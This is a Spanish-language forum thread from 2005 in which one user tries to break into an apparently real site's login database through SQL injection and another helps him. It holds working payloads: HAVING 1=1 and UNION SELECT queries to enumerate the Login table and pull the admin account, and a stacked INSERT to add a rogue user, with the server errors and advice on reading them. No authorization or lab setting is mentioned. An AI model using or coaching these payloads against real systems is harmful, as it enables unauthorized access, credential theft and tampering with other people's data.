SQL Injeccion- Pregunta

Iniciado por VCore, 25 Junio 2005, 18:19 PM

0 Miembros y 1 Visitante están viendo este tema.

VCore

Hola yo tengo las siguientes tablas

' GROUP BY Login.Store_ID, Login.Password HAVING 1=1--

y eh intentado dos cosas primero

' UNION SELECT MIN(Store_ID),1,1 FROM Login WHERE Store_ID > 'a'--
Para sacar el usuario admin y luego con otra sentencia su password, pero no ha funcionado.

Y luego lo que se me ocurrio fue agregar un usuario a la tabla

'; insert into Login values ('vcore', 'pass', 0xffff)--

pero me da el siguiente error

Incorrect syntax near '; insert into Login values ('.

jujaLVP

hola!

primero:en que campo haces la injecccion, Login.password¿?
segundo:antes de hacer esto:
Citar' UNION SELECT MIN(Store_ID),1,1 FROM Login WHERE Store_ID > 'a'--

deberias saber los campos del query original,

y aca

Citar
'; insert into Login values ('vcore', 'pass', 0xffff)--

creo que te da el error por las comillas,como hay varias quizas el motor de base de datos lo interpreta mal.

saca los datos que te faltan y te dot una mano.


saludos

VCore

#2
mira por lo que yo vi y entiendo el nombre de la tabla se llama LOGIN ,que la saque con ' Having 1=1-- 
y campos solo tiene dos Store_ID y Password

y luegon probando

' UNION SELECT SUM(Store_ID) FROM Login--

me dio como resultado:

The sum or average aggregate operation cannot take a varchar data type as an argument.

Y despues lo hice con el otro asique sino me equivoco varchar significaba que podian ser numeros o letras

EDIT:
El error que me da al tratar de agregar un usuario es :
Insert Error: Column name or number of supplied values does not match table definition.

RE-EDIT :P : cuando puse '; insert into Login values (vcore, pass, 0xffff)--

(osea lo mismo pero sin comillas)
dio como resultado:
The name 'vcore' is not permitted in this context. Only constants, expressions, or variables allowed here. Column names are not permitted.

jujaLVP

veamos..
Citar
' UNION SELECT SUM(Store_ID) FROM Login--

me dio como resultado:

Código:
The sum or average aggregate operation cannot take a varchar data type as an argument.
gracias a ese error te das cuenta que el campo "Store_ID" es de tipo "varchar" o sea cadena de caracteres mas comunmente llamada "string" y que aunque un string pueda contener numeros no se pueden utilizar en funciones como el "SUM" que admiten enteros como argumento.


CitarEl error que me da al tratar de agregar un usuario es :
Código:
Insert Error: Column name or number of supplied values does not match table definition.
es probable que te de este error se deba a que no estas insertando valores en todos los campos que posee la tabla,pero no estoy muy seguro al respecto.


Citarcuando puse '; insert into Login values (vcore, pass, 0xffff)--

(osea lo mismo pero sin comillas)
dio como resultado:
Código:
The name 'vcore' is not permitted in this context. Only constants, expressions, or variables allowed here. Column names are not permitted.
cuando pones algo sin comillas que no sean numeros,se interpreta como una variable o como el nombre de un campo, y como no se pueden poner nombres de campos dentro del "VALUES" del "INSERT" te tira este error.

me quedo una duda, de el tercer campo de la tabla "Login" en el cual pusiste 0xffff, esta en el query original?
si esta y no es de tipo varhcar te puede ser muy util...

saludos.

VCore

no le hagas caso a eso de 0xffff la verdad que no se porque lo puse  ???

Me podrias aclarar lo del query porque lo unico que se es que query es una consulta

jujaLVP

leete esto:
Tecnicas de SQL injection:Un repaso

de Hernan Racciatti
http://www.hernanracciatti.com.ar

a mi me sirvio de mucho

saludos

VCore

estoy bajando el pdf a ver que tal
una cosilla antes creo que me eh podido crear un usuario no estoy seguro ya que cuando lo creo no manda ningun error de sql y cuando me logueo me responde

Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.

Bue me voy a leer :D